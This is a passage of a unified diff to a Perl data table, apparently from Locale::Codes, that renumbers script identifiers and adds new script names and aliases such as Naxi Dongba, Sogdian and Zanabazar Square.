-   q(0098) => [
+   q(0105) => [
       q(Meroitic Cursive),
       ],
-   q(0099) => [
+   q(0106) => [
       q(Meroitic Hieroglyphs),
       ],
-   q(0100) => [
+   q(0107) => [
       q(Malayalam),
       ],
-   q(0101) => [
+   q(0108) => [
       q(Modi, Modi),
       q(Modi),
       ],
-   q(0102) => [
+   q(0109) => [
       q(Mongolian),
       ],
-   q(0103) => [
+   q(0110) => [
       q(Moon (Moon code, Moon script, Moon type)),
       q(Moon),
       q(Moon code),
@@ -362,34 +387,34 @@
       q(Moon script),
       q(Moon type),
       ],
-   q(0104) => [
+   q(0111) => [
       q(Mro, Mru),
       q(Mro),
       q(Mru),
       ],
-   q(0105) => [
+   q(0112) => [
       q(Meitei Mayek (Meithei, Meetei)),
       q(Meitei Mayek),
       q(Meithei),
       q(Meetei),
       ],
-   q(0106) => [
+   q(0113) => [
       q(Multani),
       ],
-   q(0107) => [
+   q(0114) => [
       q(Myanmar (Burmese)),
       q(Myanmar),
       q(Burmese),
       ],
-   q(0108) => [
+   q(0115) => [
       q(Old North Arabian (Ancient North Arabian)),
       q(Old North Arabian),
       q(Ancient North Arabian),
       ],
-   q(0109) => [
+   q(0116) => [
       q(Nabataean),
       ],
-   q(0110) => [
+   q(0117) => [
       q(Newa, Newar, Newari, Nepala lipi),
       q(Newa),
       q(Newar),
@@ -396,22 +421,27 @@
       q(Newari),
       q(Nepala lipi),
       ],
-   q(0111) => [
-      q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)),
+   q(0118) => [
+      q(Naxi Dongba (Nakhi Tomba)),
+      q(Naxi Dongba),
+      q(Nakhi Tomba),
+      ],
+   q(0119) => [
+      q(Naxi Geba (Nakhi Geba, 'Na-'Khi Ggo-baw)),
+      q(Naxi Geba),
       q(Nakhi Geba),
       q('Na-'Khi Ggo-baw),
-      q(Naxi Geba),
       ],
-   q(0112) => [
+   q(0120) => [
       q(N'Ko),
       ],
-   q(0113) => [
+   q(0121) => [
       q(Nushu),
       ],
-   q(0114) => [
+   q(0122) => [
       q(Ogham),
       ],
-   q(0115) => [
+   q(0123) => [
       q(Ol Chiki (Ol Cemet, Ol, Santali)),
       q(Ol Chiki),
       q(Ol Cemet'),
@@ -418,221 +448,248 @@
       q(Ol),
       q(Santali),
       ],
-   q(0116) => [
+   q(0124) => [
       q(Old Turkic, Orkhon Runic),
       q(Old Turkic),
       q(Orkhon Runic),
       ],
-   q(0117) => [
+   q(0125) => [
+      q(Oriya (Odia)),
       q(Oriya),
+      q(Odia),
       ],
-   q(0118) => [
+   q(0126) => [
       q(Osage),
       ],
-   q(0119) => [
+   q(0127) => [
       q(Osmanya),
       ],
-   q(0120) => [
+   q(0128) => [
       q(Palmyrene),
       ],
-   q(0121) => [
+   q(0129) => [
       q(Pau Cin Hau),
       ],
-   q(0122) => [
+   q(0130) => [
       q(Old Permic),
       ],
-   q(0123) => [
+   q(0131) => [
       q(Phags-pa),
       ],
-   q(0124) => [
+   q(0132) => [
       q(Inscriptional Pahlavi),
       ],
-   q(0125) => [
+   q(0133) => [
       q(Psalter Pahlavi),
       ],
-   q(0126) => [
+   q(0134) => [
       q(Book Pahlavi),
       ],
-   q(0127) => [
+   q(0135) => [
       q(Phoenician),
       ],
-   q(0128) => [
+   q(0136) => [
       q(Miao (Pollard)),
       q(Miao),
       q(Pollard),
       ],
-   q(0129) => [
+   q(0137) => [
       q(Klingon (KLI pIqaD)),
       ],
-   q(0130) => [
+   q(0138) => [
       q(Inscriptional Parthian),
       ],
-   q(0131) => [
+   q(0139) => [
       q(Reserved for private use (start)),
       ],
-   q(0132) => [
+   q(0140) => [
       q(Reserved for private use (end)),
       ],
-   q(0133) => [
+   q(0141) => [
       q(Rejang (Redjang, Kaganga)),
       q(Rejang),
       q(Redjang),
       q(Kaganga),
       ],
-   q(0134) => [
+   q(0142) => [
+      q(Hanifi Rohingya),
+      ],
+   q(0143) => [
       q(Rongorongo),
       ],
-   q(0135) => [
+   q(0144) => [
       q(Runic),
       ],
-   q(0136) => [
+   q(0145) => [
       q(Samaritan),
       ],
-   q(0137) => [
+   q(0146) => [
       q(Sarati),
       ],
-   q(0138) => [
+   q(0147) => [
       q(Old South Arabian),
       ],
-   q(0139) => [
+   q(0148) => [
       q(Saurashtra),
       ],
-   q(0140) => [
+   q(0149) => [
       q(SignWriting),
       ],
-   q(0141) => [
+   q(0150) => [
       q(Shavian (Shaw)),
       q(Shavian),
       q(Shaw),
       ],
-   q(0142) => [
+   q(0151) => [
       q(Sharada, Sarada),
       q(Sharada),
       q(Sarada),
       ],
-   q(0143) => [
+   q(0152) => [
+      q(Shuishu),
+      ],
+   q(0153) => [
       q(Siddham, Siddham, Siddhamatrka),
       q(Siddham),
       q(Siddhamatrka),
       ],
-   q(0144) => [
+   q(0154) => [
       q(Khudawadi, Sindhi),
       q(Khudawadi),
       q(Sindhi),
       ],
-   q(0145) => [
+   q(0155) => [
       q(Sinhala),
       ],
-   q(0146) => [
+   q(0156) => [
+      q(Sogdian),
+      ],
+   q(0157) => [
+      q(Old Sogdian),
+      ],
+   q(0158) => [
       q(Sora Sompeng),
       ],
-   q(0147) => [
+   q(0159) => [
+      q(Soyombo),
+      ],
+   q(0160) => [
       q(Sundanese),
       ],
-   q(0148) => [
+   q(0161) => [
       q(Syloti Nagri),
       ],
-   q(0149) => [
+   q(0162) => [
       q(Syriac),
       ],
-   q(0150) => [
+   q(0163) => [
       q(Syriac (Estrangelo variant)),
       ],
-   q(0151) => [
+   q(0164) => [
       q(Syriac (Western variant)),
       ],
-   q(0152) => [
+   q(0165) => [
       q(Syriac (Eastern variant)),
       ],
-   q(0153) => [
+   q(0166) => [
       q(Tagbanwa),
       ],
-   q(0154) => [
+   q(0167) => [
       q(Takri, Takri, Tankri),
       q(Takri),
       q(Tankri),
       ],
-   q(0155) => [
+   q(0168) => [
       q(Tai Le),
       ],
-   q(0156) => [
+   q(0169) => [
       q(New Tai Lue),
       ],
-   q(0157) => [
+   q(0170) => [
       q(Tamil),
       ],
-   q(0158) => [
+   q(0171) => [
       q(Tangut),
       ],
-   q(0159) => [
+   q(0172) => [
       q(Tai Viet),
       ],
-   q(0160) => [
+   q(0173) => [
       q(Telugu),
       ],
-   q(0161) => [
+   q(0174) => [
       q(Tengwar),
       ],
-   q(0162) => [
+   q(0175) => [
       q(Tifinagh (Berber)),
       q(Tifinagh),
       q(Berber),
       ],
-   q(0163) => [
+   q(0176) => [
       q(Tagalog (Baybayin, Alibata)),
       q(Tagalog),
       q(Baybayin),
       q(Alibata),
       ],
-   q(0164) => [
+   q(0177) => [
       q(Thaana),
       ],
-   q(0165) => [
+   q(0178) => [
       q(Thai),
       ],
-   q(0166) => [
+   q(0179) => [
       q(Tibetan),
       ],
-   q(0167) => [
+   q(0180) => [
       q(Tirhuta),
       ],
-   q(0168) => [
+   q(0181) => [
       q(Ugaritic),
       ],
-   q(0169) => [
+   q(0182) => [
       q(Vai),
       ],
-   q(0170) => [
+   q(0183) => [
       q(Visible Speech),
       ],
-   q(0171) => [
+   q(0184) => [
       q(Warang Citi (Varang Kshiti)),
       q(Warang Citi),
       q(Varang Kshiti),
       ],
-   q(0172) => [
+   q(0185) => [
+      q(Wancho),
+      ],
+   q(0186) => [
       q(Woleai),
       ],
-   q(0173) => [
+   q(0187) => [
       q(Old Persian),
       ],
-   q(0174) => [
+   q(0188) => [
       q(Cuneiform, Sumero-Akkadian),
       q(Sumero-Akkadian cuneiform),
       ],
-   q(0175) => [
+   q(0189) => [
       q(Yi),
       ],
-   q(0176) => [
+   q(0190) => [
+      q(Zanabazar Square (Zanabazarin Dorboljin Useg, Xewtee Dorboljin Bicig, Horizontal Square Script)),
+      q(Zanabazar Square),
+      q(Zanabazarin Dorboljin Useg),
+      q(Xewtee Dorboljin Bicig),
+      q(Horizontal Square Script),
+      ],
+   q(0191) => [
       q(Code for inherited script),
       ],
-   q(0177) => [
+   q(0192) => [
       q(Mathematical notation),
       ],
-   q(0178) => [
+   q(0193) => [
       q(Symbols (Emoji variant)),
       ],
-   q(0179) => [
+   q(0194) => [
       q(Symbols),
       ],
 };
@@ -639,8 +696,8 @@
 
 $Locale::Codes::Data{'script'}{'alias2id'} = {
    q('na-'khi ggo-baw) => [
-      q(0111),
-      q(2),
+      q(0119),
+      q(3),
       ],
    q(adlam) => [
       q(0001),
@@ -659,19 +716,19 @@
       q(0),
       ],
    q(alibata) => [
-      q(0163),
+      q(0176),
       q(3),
       ],
    q(anatolian hieroglyphs) => [
-      q(0057),
+      q(0061),
       q(1),
       ],
    q(anatolian hieroglyphs (luwian hieroglyphs, hittite hieroglyphs)) => [
-      q(0057),
+      q(0061),
       q(0),
       ],
    q(ancient north arabian) => [
-      q(0108),
+      q(0115),
       q(2),
       ],
    q(arabic) => [
@@ -698,6 +755,10 @@
       q(0011),
       q(0),
       ],
+   q(bangla) => [
+      q(0014),
+      q(2),
+      ],
    q(bassa vah) => [
       q(0012),
       q(0),
@@ -707,15 +768,19 @@
       q(0),
       ],
    q(baybayin) => [
-      q(0163),
+      q(0176),
       q(2),
       ],
    q(bengali) => [
       q(0014),
+      q(1),
+      ],
+   q(bengali (bangla)) => [
+      q(0014),
       q(0),
       ],
    q(berber) => [
-      q(0162),
+      q(0175),
       q(2),
       ],
    q(bhaiksuki) => [
@@ -727,7 +792,7 @@
       q(0),
       ],
    q(book pahlavi) => [
-      q(0126),
+      q(0134),
       q(0),
       ],
    q(bopomofo) => [
@@ -751,7 +816,7 @@
       q(0),
       ],
    q(burmese) => [
-      q(0107),
+      q(0114),
       q(2),
       ],
    q(carian) => [
@@ -779,7 +844,7 @@
       q(0),
       ],
    q(code for inherited script) => [
-      q(0176),
+      q(0191),
       q(0),
       ],
    q(coptic) => [
@@ -787,179 +852,199 @@
       q(0),
       ],
    q(cuneiform, sumero-akkadian) => [
-      q(0174),
+      q(0188),
       q(0),
       ],
-   q(cypriot) => [
+   q(cypriot syllabary) => [
+      q(0030),
+      q(0),
+      ],
+   q(cypro-minoan) => [
       q(0029),
       q(0),
       ],
    q(cyrillic) => [
-      q(0030),
+      q(0031),
       q(0),
       ],
    q(cyrillic (old church slavonic variant)) => [
-      q(0031),
+      q(0032),
       q(0),
       ],
    q(deseret) => [
-      q(0033),
+      q(0035),
       q(1),
       ],
    q(deseret (mormon)) => [
-      q(0033),
+      q(0035),
       q(0),
       ],
    q(devanagari) => [
-      q(0032),
+      q(0033),
       q(1),
       ],
    q(devanagari (nagari)) => [
-      q(0032),
+      q(0033),
       q(0),
       ],
+   q(dogra) => [
+      q(0034),
+      q(0),
+      ],
    q(duployan shorthand) => [
-      q(0034),
+      q(0036),
       q(1),
       ],
    q(duployan shorthand, duployan stenography) => [
-      q(0034),
+      q(0036),
       q(0),
       ],
    q(duployan stenography) => [
-      q(0034),
+      q(0036),
       q(2),
       ],
    q(egyptian demotic) => [
-      q(0035),
+      q(0037),
       q(0),
       ],
    q(egyptian hieratic) => [
-      q(0036),
+      q(0038),
       q(0),
       ],
    q(egyptian hieroglyphs) => [
-      q(0037),
+      q(0039),
       q(0),
       ],
    q(elbasan) => [
-      q(0038),
+      q(0040),
       q(0),
       ],
    q(ethiopic) => [
-      q(0039),
+      q(0041),
       q(1),
       ],
    q(ethiopic (geez)) => [
-      q(0039),
+      q(0041),
       q(0),
       ],
    q(fraser) => [
-      q(0088),
+      q(0093),
       q(2),
       ],
    q(ge'ez) => [
-      q(0039),
+      q(0041),
       q(2),
       ],
-   q(georgian (mkhedruli)) => [
-      q(0041),
+   q(georgian (mkhedruli and mtavruli)) => [
+      q(0043),
       q(0),
       ],
    q(glagolitic) => [
-      q(0042),
+      q(0044),
       q(0),
       ],
    q(gothic) => [
-      q(0043),
+      q(0047),
       q(0),
       ],
    q(grantha) => [
-      q(0044),
+      q(0048),
       q(0),
       ],
    q(greek) => [
-      q(0045),
+      q(0049),
       q(0),
       ],
    q(gujarati) => [
-      q(0046),
+      q(0050),
       q(0),
       ],
+   q(gunjala gondi) => [
+      q(0045),
+      q(0),
+      ],
    q(gurmukhi) => [
-      q(0047),
+      q(0051),
       q(0),
       ],
    q(han) => [
-      q(0050),
+      q(0054),
       q(1),
       ],
    q(han (hanzi, kanji, hanja)) => [
-      q(0050),
+      q(0054),
       q(0),
       ],
    q(han (simplified variant)) => [
-      q(0052),
+      q(0056),
       q(0),
       ],
    q(han (traditional variant)) => [
-      q(0053),
+      q(0057),
       q(0),
       ],
    q(han with bopomofo (alias for han + bopomofo)) => [
-      q(0048),
+      q(0052),
       q(0),
       ],
    q(hangeul) => [
-      q(0049),
+      q(0053),
       q(2),
       ],
    q(hangul) => [
-      q(0049),
+      q(0053),
       q(1),
       ],
    q(hangul (hangul, hangeul)) => [
-      q(0049),
+      q(0053),
       q(0),
       ],
+   q(hanifi rohingya) => [
+      q(0142),
+      q(0),
+      ],
    q(hanja) => [
-      q(0050),
+      q(0054),
       q(4),
       ],
    q(hanunoo) => [
-      q(0051),
+      q(0055),
       q(1),
       ],
    q(hanunoo (hanunoo)) => [
-      q(0051),
+      q(0055),
       q(0),
       ],
    q(hanzi) => [
-      q(0050),
+      q(0054),
       q(2),
       ],
    q(harappan) => [
-      q(0061),
+      q(0066),
       q(2),
       ],
    q(hatran) => [
-      q(0054),
+      q(0058),
       q(0),
       ],
    q(hebrew) => [
-      q(0055),
+      q(0059),
       q(0),
       ],
    q(hiragana) => [
-      q(0056),
+      q(0060),
       q(0),
       ],
    q(hittite hieroglyphs) => [
-      q(0057),
+      q(0061),
       q(3),
       ],
+   q(horizontal square script) => [
+      q(0190),
+      q(4),
+      ],
    q(hungarian runic) => [
-      q(0060),
+      q(0065),
       q(2),
       ],
    q(imperial aramaic) => [
@@ -967,611 +1052,671 @@
       q(0),
       ],
    q(indus) => [
-      q(0061),
+      q(0066),
       q(1),
       ],
    q(indus (harappan)) => [
-      q(0061),
+      q(0066),
       q(0),
       ],
    q(inscriptional pahlavi) => [
-      q(0124),
+      q(0132),
       q(0),
       ],
    q(inscriptional parthian) => [
-      q(0130),
+      q(0138),
       q(0),
       ],
    q(jamo (alias for jamo subset of hangul)) => [
-      q(0063),
+      q(0068),
       q(0),
       ],
    q(japanese (alias for han + hiragana + katakana)) => [
-      q(0065),
+      q(0070),
       q(0),
       ],
    q(japanese syllabaries (alias for hiragana + katakana)) => [
-      q(0059),
+      q(0064),
       q(0),
       ],
    q(javanese) => [
-      q(0064),
+      q(0069),
       q(0),
       ],
    q(jurchen) => [
-      q(0066),
+      q(0071),
       q(0),
       ],
    q(kaganga) => [
-      q(0133),
+      q(0141),
       q(3),
       ],
    q(kaithi) => [
-      q(0077),
+      q(0082),
       q(0),
       ],
    q(kanji) => [
-      q(0050),
+      q(0054),
       q(3),
       ],
    q(kannada) => [
-      q(0074),
+      q(0079),
       q(0),
       ],
    q(katakana) => [
-      q(0068),
+      q(0073),
       q(0),
       ],
    q(kayah li) => [
-      q(0067),
+      q(0072),
       q(0),
       ],
    q(kharoshthi) => [
-      q(0069),
+      q(0074),
       q(0),
       ],
    q(khitan large script) => [
-      q(0072),
+      q(0077),
       q(0),
       ],
    q(khitan small script) => [
-      q(0073),
+      q(0078),
       q(0),
       ],
    q(khmer) => [
-      q(0070),
+      q(0075),
       q(0),
       ],
    q(khojki) => [
-      q(0071),
+      q(0076),
       q(0),
       ],
    q(khudawadi) => [
-      q(0144),
+      q(0154),
       q(1),
       ],
    q(khudawadi, sindhi) => [
-      q(0144),
+      q(0154),
       q(0),
       ],
    q(khutsuri (asomtavruli and nuskhuri)) => [
-      q(0040),
+      q(0042),
       q(0),
       ],
    q(klingon (kli piqad)) => [
-      q(0129),
+      q(0137),
       q(0),
       ],
    q(korean (alias for hangul + han)) => [
-      q(0075),
+      q(0080),
       q(0),
       ],
    q(kpelle) => [
-      q(0076),
+      q(0081),
       q(0),
       ],
    q(lanna) => [
-      q(0078),
+      q(0083),
       q(2),
       ],
    q(lao) => [
-      q(0079),
+      q(0084),
       q(0),
       ],
    q(latin) => [
-      q(0082),
+      q(0087),
       q(0),
       ],
    q(latin (fraktur variant)) => [
-      q(0080),
+      q(0085),
       q(0),
       ],
    q(latin (gaelic variant)) => [
-      q(0081),
+      q(0086),
       q(0),
       ],
    q(leke) => [
-      q(0083),
+      q(0088),
       q(0),
       ],
    q(lepcha) => [
-      q(0084),
+      q(0089),
       q(1),
       ],
    q(lepcha (rong)) => [
-      q(0084),
+      q(0089),
       q(0),
       ],
    q(limbu) => [
-      q(0085),
+      q(0090),
       q(0),
       ],
    q(linear a) => [
-      q(0086),
+      q(0091),
       q(0),
       ],
    q(linear b) => [
-      q(0087),
+      q(0092),
       q(0),
       ],
    q(lisu) => [
-      q(0088),
+      q(0093),
       q(1),
       ],
    q(lisu (fraser)) => [
-      q(0088),
+      q(0093),
       q(0),
       ],
    q(loma) => [
-      q(0089),
+      q(0094),
       q(0),
       ],
    q(luwian hieroglyphs) => [
-      q(0057),
+      q(0061),
       q(2),
       ],
    q(lycian) => [
-      q(0090),
+      q(0095),
       q(0),
       ],
    q(lydian) => [
-      q(0091),
+      q(0096),
       q(0),
       ],
    q(mahajani) => [
-      q(0092),
+      q(0097),
       q(0),
       ],
+   q(makasar) => [
+      q(0098),
+      q(0),
+      ],
    q(malayalam) => [
-      q(0100),
+      q(0107),
       q(0),
       ],
    q(mandaean) => [
-      q(0093),
+      q(0099),
       q(2),
       ],
    q(mandaic) => [
-      q(0093),
+      q(0099),
       q(1),
       ],
    q(mandaic, mandaean) => [
-      q(0093),
+      q(0099),
       q(0),
       ],
    q(manichaean) => [
-      q(0094),
+      q(0100),
       q(0),
       ],
    q(marchen) => [
-      q(0095),
+      q(0101),
       q(0),
       ],
+   q(masaram gondi) => [
+      q(0046),
+      q(0),
+      ],
    q(mathematical notation) => [
-      q(0177),
+      q(0192),
       q(0),
       ],
    q(mayan hieroglyphs) => [
-      q(0096),
+      q(0102),
       q(0),
       ],
+   q(medefaidrin) => [
+      q(0103),
+      q(1),
+      ],
+   q(medefaidrin (oberi okaime, oberi okaime)) => [
+      q(0103),
+      q(0),
+      ],
    q(meetei) => [
-      q(0105),
+      q(0112),
       q(3),
       ],
    q(meitei mayek) => [
-      q(0105),
+      q(0112),
       q(1),
       ],
    q(meitei mayek (meithei, meetei)) => [
-      q(0105),
+      q(0112),
       q(0),
       ],
    q(meithei) => [
-      q(0105),
+      q(0112),
       q(2),
       ],
    q(mende kikakui) => [
-      q(0097),
+      q(0104),
       q(0),
       ],
    q(meroitic cursive) => [
-      q(0098),
+      q(0105),
       q(0),
       ],
    q(meroitic hieroglyphs) => [
-      q(0099),
+      q(0106),
       q(0),
       ],
    q(miao) => [
-      q(0128),
+      q(0136),
       q(1),
       ],
    q(miao (pollard)) => [
-      q(0128),
+      q(0136),
       q(0),
       ],
    q(modi) => [
-      q(0101),
+      q(0108),
       q(1),
       ],
    q(modi, modi) => [
-      q(0101),
+      q(0108),
       q(0),
       ],
    q(mongolian) => [
-      q(0102),
+      q(0109),
       q(0),
       ],
    q(moon) => [
-      q(0103),
+      q(0110),
       q(1),
       ],
    q(moon (moon code, moon script, moon type)) => [
-      q(0103),
+      q(0110),
       q(0),
       ],
    q(moon code) => [
-      q(0103),
+      q(0110),
       q(2),
       ],
    q(moon script) => [
-      q(0103),
+      q(0110),
       q(3),
       ],
    q(moon type) => [
-      q(0103),
+      q(0110),
       q(4),
       ],
    q(mormon) => [
-      q(0033),
+      q(0035),
       q(2),
       ],
    q(mro) => [
-      q(0104),
+      q(0111),
       q(1),
       ],
    q(mro, mru) => [
-      q(0104),
+      q(0111),
       q(0),
       ],
    q(mru) => [
-      q(0104),
+      q(0111),
       q(2),
       ],
    q(multani) => [
-      q(0106),
+      q(0113),
       q(0),
       ],
    q(myanmar) => [
-      q(0107),
+      q(0114),
       q(1),
       ],
    q(myanmar (burmese)) => [
-      q(0107),
+      q(0114),
       q(0),
       ],
    q(n'ko) => [
-      q(0112),
+      q(0120),
       q(0),
       ],
    q(nabataean) => [
-      q(0109),
+      q(0116),
       q(0),
       ],
    q(nagari) => [
-      q(0032),
+      q(0033),
       q(2),
       ],
    q(nakhi geba) => [
-      q(0111),
+      q(0119),
+      q(2),
+      ],
+   q(nakhi tomba) => [
+      q(0118),
+      q(2),
+      ],
+   q(naxi dongba) => [
+      q(0118),
       q(1),
       ],
-   q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [
-      q(0111),
+   q(naxi dongba (nakhi tomba)) => [
+      q(0118),
       q(0),
       ],
    q(naxi geba) => [
-      q(0111),
-      q(3),
+      q(0119),
+      q(1),
       ],
+   q(naxi geba (nakhi geba, 'na-'khi ggo-baw)) => [
+      q(0119),
+      q(0),
+      ],
    q(nepala lipi) => [
-      q(0110),
+      q(0117),
       q(4),
       ],
    q(new tai lue) => [
-      q(0156),
+      q(0169),
       q(0),
       ],
    q(newa) => [
-      q(0110),
+      q(0117),
       q(1),
       ],
    q(newa, newar, newari, nepala lipi) => [
-      q(0110),
+      q(0117),
       q(0),
       ],
    q(newar) => [
-      q(0110),
+      q(0117),
       q(2),
       ],
    q(newari) => [
-      q(0110),
+      q(0117),
       q(3),
       ],
    q(nushu) => [
-      q(0113),
+      q(0121),
       q(0),
       ],
+   q(nyiakeng puachue hmong) => [
+      q(0063),
+      q(0),
+      ],
+   q(oberi okaime) => [
+      q(0103),
+      q(2),
+      ],
+   q(odia) => [
+      q(0125),
+      q(2),
+      ],
    q(ogham) => [
-      q(0114),
+      q(0122),
       q(0),
       ],
    q(ol) => [
-      q(0115),
+      q(0123),
       q(3),
       ],
    q(ol cemet') => [
-      q(0115),
+      q(0123),
       q(2),
       ],
    q(ol chiki) => [
-      q(0115),
+      q(0123),
       q(1),
       ],
    q(ol chiki (ol cemet, ol, santali)) => [
-      q(0115),
+      q(0123),
       q(0),
       ],
    q(old hungarian) => [
-      q(0060),
+      q(0065),
       q(1),
       ],
    q(old hungarian (hungarian runic)) => [
-      q(0060),
+      q(0065),
       q(0),
       ],
    q(old italic (etruscan, oscan, etc.)) => [
-      q(0062),
+      q(0067),
       q(0),
       ],
    q(old north arabian) => [
-      q(0108),
+      q(0115),
       q(1),
       ],
    q(old north arabian (ancient north arabian)) => [
-      q(0108),
+      q(0115),
       q(0),
       ],
    q(old permic) => [
-      q(0122),
+      q(0130),
       q(0),
       ],
    q(old persian) => [
-      q(0173),
+      q(0187),
       q(0),
       ],
+   q(old sogdian) => [
+      q(0157),
+      q(0),
+      ],
    q(old south arabian) => [
-      q(0138),
+      q(0147),
       q(0),
       ],
    q(old turkic) => [
-      q(0116),
+      q(0124),
       q(1),
       ],
    q(old turkic, orkhon runic) => [
-      q(0116),
+      q(0124),
       q(0),
       ],
    q(oriya) => [
-      q(0117),
+      q(0125),
+      q(1),
+      ],
+   q(oriya (odia)) => [
+      q(0125),
       q(0),
       ],
    q(orkhon runic) => [
-      q(0116),
+      q(0124),
       q(2),
       ],
    q(osage) => [
-      q(0118),
+      q(0126),
       q(0),
       ],
    q(osmanya) => [
-      q(0119),
+      q(0127),
       q(0),
       ],
    q(pahawh hmong) => [
-      q(0058),
+      q(0062),
       q(0),
       ],
    q(palmyrene) => [
-      q(0120),
+      q(0128),
       q(0),
       ],
    q(pau cin hau) => [
-      q(0121),
+      q(0129),
       q(0),
       ],
    q(phags-pa) => [
-      q(0123),
+      q(0131),
       q(0),
       ],
    q(phoenician) => [
-      q(0127),
+      q(0135),
       q(0),
       ],
    q(pollard) => [
-      q(0128),
+      q(0136),
       q(2),
       ],
    q(psalter pahlavi) => [
-      q(0125),
+      q(0133),
       q(0),
       ],
    q(redjang) => [
-      q(0133),
+      q(0141),
       q(2),
       ],
    q(rejang) => [
-      q(0133),
+      q(0141),
       q(1),
       ],
    q(rejang (redjang, kaganga)) => [
-      q(0133),
+      q(0141),
       q(0),
       ],
    q(reserved for private use (end)) => [
-      q(0132),
+      q(0140),
       q(0),
       ],
    q(reserved for private use (start)) => [
-      q(0131),
+      q(0139),
       q(0),
       ],
    q(rong) => [
-      q(0084),
+      q(0089),
       q(2),
       ],
    q(rongorongo) => [
-      q(0134),
+      q(0143),
       q(0),
       ],
    q(runic) => [
-      q(0135),
+      q(0144),
       q(0),
       ],
    q(samaritan) => [
-      q(0136),
+      q(0145),
       q(0),
       ],
    q(santali) => [
-      q(0115),
+      q(0123),
       q(4),
       ],
    q(sarada) => [
-      q(0142),
+      q(0151),
       q(2),
       ],
    q(sarati) => [
-      q(0137),
+      q(0146),
       q(0),
       ],
    q(saurashtra) => [
-      q(0139),
+      q(0148),
       q(0),
       ],
    q(sharada) => [
-      q(0142),
+      q(0151),
       q(1),
       ],
    q(sharada, sarada) => [
-      q(0142),
+      q(0151),
       q(0),
       ],
    q(shavian) => [
-      q(0141),
+      q(0150),
       q(1),
       ],
    q(shavian (shaw)) => [
-      q(0141),
+      q(0150),
       q(0),
       ],
    q(shaw) => [
-      q(0141),
+      q(0150),
       q(2),
       ],
+   q(shuishu) => [
+      q(0152),
+      q(0),
+      ],
    q(siddham) => [
-      q(0143),
+      q(0153),
       q(1),
       ],
    q(siddham, siddham, siddhamatrka) => [
-      q(0143),
+      q(0153),
       q(0),
       ],
    q(siddhamatrka) => [
-      q(0143),
+      q(0153),
       q(2),
       ],
    q(signwriting) => [
-      q(0140),
+      q(0149),
       q(0),
       ],
    q(sindhi) => [
-      q(0144),
+      q(0154),
       q(2),
       ],
    q(sinhala) => [
-      q(0145),
+      q(0155),
       q(0),
       ],
+   q(sogdian) => [
+      q(0156),
+      q(0),
+      ],
    q(sora sompeng) => [
-      q(0146),
+      q(0158),
       q(0),
       ],
+   q(soyombo) => [
+      q(0159),
+      q(0),
+      ],
    q(sumero-akkadian cuneiform) => [
-      q(0174),
+      q(0188),
       q(1),
       ],
    q(sundanese) => [
-      q(0147),
+      q(0160),
       q(0),
       ],
    q(syloti nagri) => [
-      q(0148),
+      q(0161),
       q(0),
       ],
    q(symbols) => [
-      q(0179),
+      q(0194),
       q(0),
       ],
    q(symbols (emoji variant)) => [
-      q(0178),
+      q(0193),
       q(0),
       ],
    q(syriac) => [
-      q(0149),
+      q(0162),
       q(0),
       ],
    q(syriac (eastern variant)) => [
-      q(0152),
+      q(0165),
       q(0),
       ],
    q(syriac (estrangelo variant)) => [
-      q(0150),
+      q(0163),
       q(0),
       ],
    q(syriac (western variant)) => [
-      q(0151),
+      q(0164),
       q(0),
       ],
    q(tagalog) => [
-      q(0163),
+      q(0176),
       q(1),
       ],
    q(tagalog (baybayin, alibata)) => [
-      q(0163),
+      q(0176),
       q(0),
       ],
    q(tagbanwa) => [
-      q(0153),
+      q(0166),
       q(0),
       ],
    q(tai ahom) => [
@@ -1579,75 +1724,75 @@
       q(2),
       ],
    q(tai le) => [
-      q(0155),
+      q(0168),
       q(0),
       ],
    q(tai tham) => [
-      q(0078),
+      q(0083),
       q(1),
       ],
    q(tai tham (lanna)) => [
-      q(0078),
+      q(0083),
       q(0),
       ],
    q(tai viet) => [
-      q(0159),
+      q(0172),
       q(0),
       ],
    q(takri) => [
-      q(0154),
+      q(0167),
       q(1),
       ],
    q(takri, takri, tankri) => [
-      q(0154),
+      q(0167),
       q(0),
       ],
    q(tamil) => [
-      q(0157),
+      q(0170),
       q(0),
       ],
    q(tangut) => [
-      q(0158),
+      q(0171),
       q(0),
       ],
    q(tankri) => [
-      q(0154),
+      q(0167),
       q(2),
       ],
    q(telugu) => [
-      q(0160),
+      q(0173),
       q(0),
       ],
    q(tengwar) => [
-      q(0161),
+      q(0174),
       q(0),
       ],
    q(thaana) => [
-      q(0164),
+      q(0177),
       q(0),
       ],
    q(thai) => [
-      q(0165),
+      q(0178),
       q(0),
       ],
    q(tibetan) => [
-      q(0166),
+      q(0179),
       q(0),
       ],
    q(tifinagh) => [
-      q(0162),
+      q(0175),
       q(1),
       ],
    q(tifinagh (berber)) => [
-      q(0162),
+      q(0175),
       q(0),
       ],
    q(tirhuta) => [
-      q(0167),
+      q(0180),
       q(0),
       ],
    q(ugaritic) => [
-      q(0168),
+      q(0181),
       q(0),
       ],
    q(unified canadian aboriginal syllabics) => [
@@ -1655,33 +1800,53 @@
       q(0),
       ],
    q(vai) => [
-      q(0169),
+      q(0182),
       q(0),
       ],
    q(varang kshiti) => [
-      q(0171),
+      q(0184),
       q(2),
       ],
    q(visible speech) => [
-      q(0170),
+      q(0183),
       q(0),
       ],
+   q(wancho) => [
+      q(0185),
+      q(0),
+      ],
    q(warang citi) => [
-      q(0171),
+      q(0184),
       q(1),
       ],
    q(warang citi (varang kshiti)) => [
-      q(0171),
+      q(0184),
       q(0),
       ],
    q(woleai) => [
-      q(0172),
+      q(0186),
       q(0),
       ],
+   q(xewtee dorboljin bicig) => [
+      q(0190),
+      q(3),
+      ],
    q(yi) => [
-      q(0175),
+      q(0189),
       q(0),
       ],
+   q(zanabazar square) => [
+      q(0190),
+      q(1),
+      ],
+   q(zanabazar square (zanabazarin dorboljin useg, xewtee dorboljin bicig, horizontal square script)) => [
+      q(0190),
+      q(0),
+      ],
+   q(zanabazarin dorboljin useg) => [
+      q(0190),
+      q(2),
+      ],
 };
 
 $Locale::Codes::Data{'script'}{'code2id'} = {
@@ -1740,7 +1905,7 @@
          ],
       q(Beng) => [
          q(0014),
-         q(0),
+         q(1),
          ],
       q(Bhks) => [
          q(0015),
@@ -1798,678 +1963,742 @@
          q(0028),
          q(0),
          ],
-      q(Cprt) => [
+      q(Cpmn) => [
          q(0029),
          q(0),
          ],
-      q(Cyrl) => [
+      q(Cprt) => [
          q(0030),
          q(0),
          ],
-      q(Cyrs) => [
+      q(Cyrl) => [
          q(0031),
          q(0),
          ],
+      q(Cyrs) => [
+         q(0032),
+         q(0),
